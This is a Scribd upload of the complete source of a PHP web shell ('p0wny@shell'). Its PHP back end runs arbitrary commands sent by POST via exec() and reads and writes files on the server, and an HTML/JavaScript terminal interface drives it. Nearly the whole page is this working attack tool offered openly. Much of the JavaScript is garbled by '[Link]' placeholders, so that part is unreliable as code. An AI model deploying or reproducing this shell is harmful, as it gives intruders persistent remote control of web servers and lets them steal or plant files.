Scribd
Upload
142 views9 pages

PHP Web Shell Command Features

The PHP code defines functions for interacting with a shell session including executing commands, changing directories, downloading/uploading files, and command completion. FeatureShell executes a command and returns stdout. FeaturePwd returns the current working directory. FeatureHint returns filename autocomplete suggestions based on the current command and directory.

Uploaded by

Anonymous GH2tZVdbU
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
142 views9 pages

PHP Web Shell Command Features

The PHP code defines functions for interacting with a shell session including executing commands, changing directories, downloading/uploading files, and command completion. FeatureShell executes a command and returns stdout. FeaturePwd returns the current working directory. FeatureHint returns filename autocomplete suggestions based on the current command and directory.

Uploaded by

Anonymous GH2tZVdbU
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

<?

php

function featureShell($cmd, $cwd) {


$stdout = array();

if (preg_match("/^\s*cd\s*$/", $cmd)) {
// pass
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir($match[1]);
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
exec($cmd, $stdout);
}

return array(
"stdout" => $stdout,
"cwd" => getcwd()
);
}

function featurePwd() {
return array("cwd" => getcwd());
}

function featureHint($fileName, $cwd, $type) {


chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
return array(
'files' => $files,
);
}

function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
'stdout' => array('File not found / no read permission.'),
'cwd' => getcwd()
);
} else {
return array(
'name' => basename($filePath),
'file' => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, 'wb');
if ($f === FALSE) {
return array(
'stdout' => array('Invalid path / no write permission.'),
'cwd' => getcwd()
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => array('Done.'),
'cwd' => getcwd()
);
}
}

if (isset($_GET["feature"])) {

$response = NULL;

switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'],
$_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'],
$_POST['cwd']);
}

header("Content-Type: application/json");
echo json_encode($response);
die();
}

?><!DOCTYPE html>

<html>

<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
}

#shell {
background: #222;
max-width: 800px;
margin: 50px auto 0 auto;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
}

#shell-content {
height: 500px;
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}

#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}

@media (max-width: 991px) {


#shell-logo {
display: none;
}

html, body, #shell {


height: 100%;
width: 100%;
max-width: none;
}

#shell {
margin-top: 0;
}
}

@media (max-width: 767px) {


#shell-input {
flex-direction: column;
}
}

.shell-prompt {
font-weight: bold;
color: #75DF0B;
}

.shell-prompt > span {


color: #1BC9E7;
}

#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
}

#shell-input > label {


flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}

#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
}

#shell-input div {
flex-grow: 1;
align-items: stretch;
}

#shell-input input {
outline: none;
}
</style>

<script>
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;

function _insertCommand(command) {
[Link] += "\n\n";
[Link] += '<span class=\"shell-prompt\">' +
genPrompt(CWD) + '</span> ';
[Link] += escapeHtml(command);
[Link] += "\n";
[Link] = [Link];
}

function _insertStdout(stdout) {
[Link] += escapeHtml(stdout);
[Link] = [Link];
}
function featureShell(command) {

_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload([Link](/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else {
makeRequest("?feature=shell", {cmd: command, cwd: CWD},
function (response) {
if ([Link]('file')) {
featureDownload([Link], [Link])
} else {
_insertStdout([Link]("\n"));
updateCwd([Link]);
}
});
}
}

function featureHint() {
if ([Link]().length === 0) return; // field is
empty -> nothing to complete

function _requestCallback(data) {
if ([Link] <= 1) return; // no completion

if ([Link] === 2) {
if (type === 'cmd') {
[Link] = [Link][0];
} else {
var currentValue = [Link];
[Link] = [Link](/([^\s]*)
$/, [Link][0]);
}
} else {
_insertCommand([Link]);
_insertStdout([Link]("\n"));
}
}

var currentCmd = [Link](" ");


var type = ([Link] === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] :
currentCmd[[Link] - 1];

makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);

function featureDownload(name, file) {


var element = [Link]('a');
[Link]('href', 'data:application/octet-
stream;base64,' + file);
[Link]('download', name);
[Link] = 'none';
[Link](element);
[Link]();
[Link](element);
_insertStdout('Done.');
}

function featureUpload(path) {
var element = [Link]('input');
[Link]('type', 'file');
[Link] = 'none';
[Link](element);
[Link]('change', function () {
var promise = getBase64([Link][0]);
[Link](function (file) {
makeRequest('?feature=upload', {path: path, file: file,
cwd: CWD}, function (response) {
_insertStdout([Link]("\n"));
updateCwd([Link]);
});
}, function () {
_insertStdout('An unknown client-side error occurred.');
});
});
[Link]();
[Link](element);
}

function getBase64(file, onLoadCallback) {


return new Promise(function(resolve, reject) {
var reader = new FileReader();
[Link] = function()
{ resolve([Link](/base64,(.*)$/)[1]); };
[Link] = reject;
[Link](file);
});
}

function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if ([Link]("/").length > 3) {
var splittedCwd = [Link]("/");
shortCwd = "…/" + splittedCwd[[Link]-2] + "/" +
splittedCwd[[Link]-1];
}
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd +
"</span>#";
}

function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = [Link];
_updatePrompt();
});

function escapeHtml(string) {
return string
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;");
}

function _updatePrompt() {
var eShellPrompt = [Link]("shell-prompt");
[Link] = genPrompt(CWD);
}

function _onShellCmdKeyDown(event) {
switch ([Link]) {
case "Enter":
featureShell([Link]);
insertToHistory([Link]);
[Link] = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
[Link]();
[Link]();
[Link] = commandHistory[historyPosition];
}
break;
case "ArrowDown":
if (historyPosition >= [Link]) {
break;
}
historyPosition++;
if (historyPosition === [Link]) {
[Link] = "";
} else {
[Link]();
[Link]();
[Link] = commandHistory[historyPosition];
}
break;
case 'Tab':
[Link]();
featureHint();
break;
}
}

function insertToHistory(cmd) {
[Link](cmd);
historyPosition = [Link];
}

function makeRequest(url, params, callback) {


function getQueryString() {
var a = [];
for (var key in params) {
if ([Link](key)) {
[Link](encodeURIComponent(key) + "=" +
encodeURIComponent(params[key]));
}
}
return [Link]("&");
}
var xhr = new XMLHttpRequest();
[Link]("POST", url, true);
[Link]("Content-Type", "application/x-www-form-
urlencoded");
[Link] = function() {
if ([Link] === 4 && [Link] === 200) {
try {
var responseJson = [Link]([Link]);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
[Link](getQueryString());
}

[Link] = function() {
eShellCmdInput = [Link]("shell-cmd");
eShellContent = [Link]("shell-content");
updateCwd();
[Link]();
};
</script>
</head>

<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _
<span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_
<span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|
<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|
<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_|
<span></span>
|_| |___/ \____/
<span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???
</label>
<div>
<input id="shell-cmd" name="cmd"
onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>

</html>

You might also like